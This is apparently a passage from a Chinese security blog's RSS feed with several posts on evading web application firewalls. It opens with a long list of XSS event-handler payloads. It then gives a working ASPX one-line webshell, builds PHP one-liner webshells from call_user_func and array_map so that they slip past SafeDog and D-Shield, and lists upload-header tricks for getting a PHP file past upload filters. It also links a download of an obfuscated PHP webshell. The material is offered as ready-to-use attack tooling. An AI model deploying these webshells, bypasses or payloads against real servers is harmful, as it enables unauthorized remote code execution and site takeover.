&lt;google onclick="javascript:alert(0)"&gt;a
&lt;github onclick="javascript:alert(0)"&gt;a
&lt;acu onclick="javascript:alert(0)"&gt;a
&lt;mail onclick="javascript:alert(0)"&gt;a
&lt;a onmouseover="javascript:alert(0)"&gt;a
&lt;javascript onmouseover="javascript:alert(0)"&gt;a
&lt;b onmouseover="javascript:alert(0)"&gt;a
&lt;abbr onmouseover="javascript:alert(0)"&gt;a
&lt;acronym onmouseover="javascript:alert(0)"&gt;a
&lt;address onmouseover="javascript:alert(0)"&gt;a
&lt;applet onmouseover="javascript:alert(0)"&gt;a
&lt;article onmouseover="javascript:alert(0)"&gt;a
&lt;xss onmouseover="javascript:alert(0)"&gt;a
&lt;aside onmouseover="javascript:alert(0)"&gt;a
&lt;bdi onmouseover="javascript:alert(0)"&gt;a
&lt;bdo onmouseover="javascript:alert(0)"&gt;a
&lt;big onmouseover="javascript:alert(0)"&gt;a
&lt;button onmouseover="javascript:alert(0)"&gt;a
&lt;del onmouseover="javascript:alert(0)"&gt;a
&lt;details onmouseover="javascript:alert(0)"&gt;a
&lt;div onmouseover="javascript:alert(0)"&gt;a
&lt;dfn onmouseover="javascript:alert(0)"&gt;a
&lt;dl onmouseover="javascript:alert(0)"&gt;a
&lt;dt onmouseover="javascript:alert(0)"&gt;a
&lt;h1 onmouseover="javascript:alert(0)"&gt;a
&lt;h2 onmouseover="javascript:alert(0)"&gt;a
&lt;h3 onmouseover="javascript:alert(0)"&gt;a
&lt;h4 onmouseover="javascript:alert(0)"&gt;a
&lt;h5 onmouseover="javascript:alert(0)"&gt;a
&lt;h6 onmouseover="javascript:alert(0)"&gt;a
&lt;header onmouseover="javascript:alert(0)"&gt;a
&lt;hr onmouseover="javascript:alert(0)"&gt;a
&lt;html onmouseover="javascript:alert(0)"&gt;a
&lt;kbd onmouseover="javascript:alert(0)"&gt;a
&lt;map onmouseover="javascript:alert(0)"&gt;a
&lt;mark onmouseover="javascript:alert(0)"&gt;a
&lt;menu onmouseover="javascript:alert(0)"&gt;a
&lt;menuitem onmouseover="javascript:alert(0)"&gt;a
&lt;meter onmouseover="javascript:alert(0)"&gt;a
&lt;q onmouseover="javascript:alert(0)"&gt;a
&lt;var onmouseover="javascript:alert(0)"&gt;a
&lt;xmp onmouseover="javascript:alert(0)"&gt;a
&lt;addons onmouseover="javascript:alert(0)"&gt;a
&lt;ascii onmouseover="javascript:alert(0)"&gt;a
&lt;aspx onmouseover="javascript:alert(0)"&gt;a
&lt;java onmouseover="javascript:alert(0)"&gt;a
&lt;mobile onmouseover="javascript:alert(0)"&gt;a
&lt;go onmouseover="javascript:alert(0)"&gt;a
&lt;alibaba onmouseover="javascript:alert(0)"&gt;a
&lt;baidu onmouseover="javascript:alert(0)"&gt;a
&lt;google onmouseover="javascript:alert(0)"&gt;a
&lt;github onmouseover="javascript:alert(0)"&gt;a
&lt;acu onmouseover="javascript:alert(0)"&gt;a
&lt;mail onmouseover="javascript:alert(0)"&gt;a</pre>
<p>&nbsp;</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>aspx 过狗一句话</title>
		<link>/tools/374.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 07 Mar 2018 17:41:03 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[aspx]]></category>
		<category><![CDATA[一句话]]></category>
		<category><![CDATA[菜刀]]></category>
		<category><![CDATA[过狗]]></category>
		<category><![CDATA[过狗一句话]]></category>
		<guid isPermaLink="false">/?p=278</guid>

					<description><![CDATA[https://exp10it.cn/2018/03/07/aspx-bypass-safedog.html 原理未知 安全狗竟然查杀不了这么 nb 的 code &#60;%@ P...]]></description>
										<content:encoded><![CDATA[<p><a href="https://exp10it.cn/2018/03/07/aspx-bypass-safedog.html">https://exp10it.cn/2018/03/07/aspx-bypass-safedog.html</a></p>
<p>原理未知</p>
<p>安全狗竟然查杀不了这么 nb 的 code</p>
<pre>&lt;%@ Page Language="Jscript"%&gt;
&lt;%eval(/*s*/ Request.Item["pass"],"unsafe");%&gt;</pre>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>PHP大马免杀思路附成品</title>
		<link>/tools/364.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Wed, 28 Feb 2018 23:17:00 +0000</pubDate>
				<category><![CDATA[工具分享]]></category>
		<category><![CDATA[D盾]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[大马]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=258</guid>

					<description><![CDATA[PHP大马免杀 0x00 介绍 前篇文章我与某狗的恩恩怨怨也介绍了一种，免杀大马的姿势，今天再介绍一种，思路来源T00ls论坛。 0x01 源码 还是一样大马源码一份，然后base...]]></description>
										<content:encoded><![CDATA[<h1>PHP<span class="wpcom_tag_link"><a href="/tags/%e5%a4%a7%e9%a9%ac" title="大马" target="_blank">大马</a></span><span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span></h1>
<h2>0x00 介绍</h2>
<blockquote><p>前篇文章<a href="/archives/224.html">我与某狗的恩恩怨怨</a>也介绍了一种，免杀大马的姿势，今天再介绍一种，思路来源T00ls论坛。</p></blockquote>
<h2>0x01 源码</h2>
<p>还是一样大马源码一份，然后base64加密。<br />直接上代码了。</p>
<p>本地测试<span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span>过<span class="wpcom_tag_link"><a href="/tags/d%e7%9b%be" title="D盾" target="_blank">D盾</a></span>，当然这是静态免杀。<br />感觉你们会觉得我不上图，不信我，那就自己动手手试试= =。</p>
<h2>0x02 思路</h2>
<p>可以看到首先base64加密，然后就像编写一句话一样，去执行我们的代码，也就是base64加密的的，思路还是可以扩展很多的，但是会waf拦截某些函数执行，就换份大马源码，但是这种方法过狗足够了。</p>
<h2>0x03 成品</h2>
<p>上传到GitHub了 <a href="https://github.com/ChaBug/shell/blob/master/php/dama_bypass.php">下载地址</a><br />另外这个大马是国外的，用不习惯的自行加密更换</p>
<p>补图：(1.php是大马)<br /><img src="/wp-content/uploads/2018/02/3600173245.jpg" alt="bypass.jpg" title="bypass.jpg"></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>我与某狗的恩恩怨怨</title>
		<link>/web/355.html</link>
					<comments>/web/355.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 13 Feb 2018 20:41:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[一句话]]></category>
		<category><![CDATA[免杀]]></category>
		<category><![CDATA[安全狗]]></category>
		<category><![CDATA[木马]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=224</guid>

					<description><![CDATA[原创文章，转载请标明出处！ 0x00 介绍 鲁迅说:偷窃一个的是创意剽窃，偷窃很多人的创意是研究。 本文是个人学习的一个小总结，很多思路都是学习网上大佬的，可能本文中的某个思路或许...]]></description>
										<content:encoded><![CDATA[<blockquote><p>原创文章，转载请标明出处！</p></blockquote>
<h1>0x00 介绍</h1>
<blockquote><p>鲁迅说:偷窃一个的是创意剽窃，偷窃很多人的创意是研究。</p></blockquote>
<p><img src="/wp-content/uploads/2018/02/4183059126.jpg" alt="1.jpg" title="1.jpg"><br />本文是个人学习的一个小总结，很多思路都是学习网上大佬的，可能本文中的某个思路或许已经被公布，但是我阅历比较少，并不知道，如果有重复的，可以提出来，我会文章后面贴上地址。</p>
<h1>0x01 上传绕过</h1>
<pre><code>说到突破狗绕过，公布的姿势太多了，常规的后缀大小写修改、截断上传、不规则文件名截断、删除Conten-Type、垃圾数据填充等。我简单的总结下。</code></pre>
<h2>环境</h2>
<p><strong>Windows版某狗ApacheV3.5+phpstudy</strong><br /><img src="/wp-content/uploads/2018/02/3448019682.jpg" alt="2.jpg" title="2.jpg"><br />说道这里，可能有人会吐槽你这是V3.5的不是还有个V4.0的嘛，什么文章啊垃圾。关于版本问题我以前写过一篇水文，绕的是V4.0加服务器<span class="wpcom_tag_link"><a href="/tags/%e5%ae%89%e5%85%a8%e7%8b%97" title="安全狗" target="_blank">安全狗</a></span>，不多说直接上图。<br /><img src="/wp-content/uploads/2018/02/1063662340.jpg" alt="3.jpg" title="3.jpg"><br />其实版本是有差异但是方法都是一样的。</p>
<h2>绕过</h2>
<p>Burp抓包  <strong>原本数据包</strong></p>
<pre><code>------WebKitFormBoundaryl2Fe3Re3WQjeJFBi
Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot;
Content-Type: application/octet-stream</code></pre>
<p>思路：改变大小写+垃圾数据填充+删除<br />主要从这里入手<br /><code>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot;</code><br /><img src="/wp-content/uploads/2018/02/4218763905.jpg" alt="4.jpg" title="4.jpg"><br /><code>Content-Disposition:</code>大写<code>C</code>改为小写<code>c</code><br /><img src="/wp-content/uploads/2018/02/1120295546.jpg" alt="5.jpg" title="5.jpg"><br /> <code>form-data;</code>前面加<code>zz</code><br /><img src="/wp-content/uploads/2018/02/1695878997.jpg" alt="6.jpg" title="6.jpg"><br /> <code>form-data;</code>把<code>f</code>去掉<br /> 上面三个例子只是简单的一个小例子，我想给大家说的其实是，我们可以下面的数据<code>为所欲为</code><br /> <code>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;1.php&quot;</code><br />比如随便删除，修改，回车，增添，倒转都可以，然后你会发现绕狗上传是如此简单。<br />下面介绍几个有趣点的:<br /><code>filename=&quot;4.php&quot;</code>改成<code>filename=4.php filename&quot;&quot;</code><br /><img src="/wp-content/uploads/2018/02/3817393004.jpg" alt="7.jpg" title="7.jpg"><br />倒转把<code>Content-Type: application/octet-stream</code>提到上面来<br /><img src="/wp-content/uploads/2018/02/3911719939.jpg" alt="8.jpg" title="8.jpg"><br />把<code>name=&quot;file&quot;</code>提到前面来<br /><code>Content-Disposition: name=&quot;file&quot;; form-data;  filename=&quot;6.php&quot;</code><br />回车:<br /><img src="/wp-content/uploads/2018/02/5796017.jpg" alt="9.jpg" title="9.jpg"><br />还有 <code>&quot; ' ; </code></p>
<pre><code>filename=&quot;&quot;xx.php&quot;  //加个双引号
filename=&quot;;xx.php&quot;  //加个分号
filename=&quot;'xx.php&quot;  //加个单引号</code></pre>
<p>就到这里告一段落了，关于狗的版本差异问题没多大，上面的方法试试，然后就可以找到了，大家可以多动手，发挥脑洞，这类方法也可以在其他WAF试试，给大家提供些思路<code>协议未覆盖</code>，<code>Fuzz模糊测试突破文件上传</code>。</p>
<h1>0x02 <span class="wpcom_tag_link"><a href="/tags/%e5%85%8d%e6%9d%80" title="免杀" target="_blank">免杀</a></span><span class="wpcom_tag_link"><a href="/tags/%e4%b8%80%e5%8f%a5%e8%af%9d" title="一句话" target="_blank">一句话</a></span></h1>
<p>这里我详细讲解一个<span class="wpcom_tag_link"><a href="/tags/%e8%bf%87%e7%8b%97" title="过狗" target="_blank">过狗</a></span>过D盾的php一句话的编写。在Tool论坛分享过</p>
<ul>
<li>先来看看我们常见的PHP一句话长啥样</li>
</ul>
<p>&#8220;<br />首先我们需要了解两个PHP函数 <code>call_user_func()</code>和<code>array_map()</code></p>
<ul>
<li>call_user_func()</li>
</ul>
<pre><code>function uu($x,$y){     //定义了一个uu的函数 参数为变量 $x,$y
        return $x.$y;      //返回值为 是将$x和$y拼接
}
echo @call_user_func('uu',Too,ls);  //将&quot;Too,ls&quot;分别传给 $x , $y ,组成Tools，  echo输出Tools @是防止报错</code></pre>
<p>运行结果<br /><img src="/wp-content/uploads/2018/02/519987570.png" alt="1tools.png" title="1tools.png"><br />大家知道 assert是PHP一句话中常见的执行函数</p>
<pre><code>function uu($x,$y){
        return $x.$y;
}
echo @call_user_func('uu',ass,ert);</code></pre>
<p>如果我们这样写是不是就组成了assert, 满足文章开头常见一句话的特征咯。</p>
<ul>
<li>array_map()</li>
</ul>
<p>看个小例子i<br /><img src="/wp-content/uploads/2018/02/1680984110.png" alt="tool3.png" title="tool3.png"><br />效果: 大家只要记住 $arr可以是个数组<br /><img src="/wp-content/uploads/2018/02/260084894.png" alt="2tools.png" title="2tools.png"><br />如果我们这样写，也算个数组了，看到这里很多小伙伴灵机一动<br /><code>$i = array($_POST[x]);</code></p>
<ul>
<li>编写一句话</li>
</ul>
<p>把上述的列子结合起来就可以了<br /><img src="/wp-content/uploads/2018/02/330229302.png" alt="tools4.png" title="tools4.png"><br />去掉注释比较方便。</p>
<p>是免杀的，过狗的可以的<br /><img src="/wp-content/uploads/2018/02/2918387524.png" alt="tool5.png" title="tool5.png"></p>
<ul>
<li>总结</li>
</ul>
<p>主要是用各种方法拼接组合相关执行函数，然后运用回调函数的方法来执行。免杀可能是一时的，但是思路是活的，大家可以去学学php基础，也可以轻易写出免杀的一句话。</p>
<h1>0x03 免杀大马</h1>
<p><a href="https://www.t00ls.net/thread-44213-1-1.html">思路来源</a></p>
<ul>
<li>首先需要一份大马源码</li>
</ul>
<p><img src="/wp-content/uploads/2018/02/3435870925.png" alt="tools5.png" title="tools5.png"></p>
<ul>
<li>思路</li>
</ul>
<pre><code>// base64_decode函数的作用是对base64编码过的数据进行解码
</code></pre>
<ul>
<li>免杀</li>
</ul>
<p><img src="/wp-content/uploads/2018/02/4139391286.png" alt="tools6.png" title="tools6.png"><br />有人说这只是静态免杀，大马操作时候还会拦截，然而并不会。<br />我在大马上执行命令还是不会拦截。<br /><img src="/wp-content/uploads/2018/02/2023285932.png" alt="tools7.png" title="tools7.png"></p>
<h1>总结</h1>
<p><strong>我们是站在前人的肩膀上成长起来的。</strong></p>
]]></content:encoded>
					
					<wfw:commentRss>/web/355.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>PHP过D盾一句话</title>
		<link>/web/349.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 08 Feb 2018 11:36:00 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[D盾]]></category>
		<category><![CDATA[一句话]]></category>
		<category><![CDATA[过狗]]></category>
		<guid isPermaLink="false">/?p=136</guid>

					<description><![CDATA[日常搬砖 @X1r0z 代码 array_map() array_map() 函数将用户自定义函数作用到数组中的每个值上, 并返回用户自定义函数作用后的带有新值的数组 初始代码 a...]]></description>
										<content:encoded><![CDATA[<h2>日常搬砖 <a href="https://exp10it.cn/index.php/archives/737/">@X1r0z</a></h2>
<p><img src="/wp-content/uploads/2018/02/3311306529.jpg" alt="1517572917.jpg" title="1517572917.jpg"><br />代码</p>
<p><code>array_map()</code></p>
<blockquote><p><code>array_map() </code>函数将用户自定义函数作用到数组中的每个值上, 并返回用户自定义函数作用后的带有新值的数组</p></blockquote>
<p>初始代码</p>
<p><code>array_map($_GET['1'],$$a);</code><br /><span class="wpcom_tag_link"><a href="/tags/d%e7%9b%be" title="D盾" target="_blank">D盾</a></span> 一级</p>
<p>但 D盾 不拦截赋值语句</p>
<p><code>array_map($b=$_GET['1'],$c=$a);</code></p>
<p>绕过</p>
<p>加上 @ 关闭错误回显</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
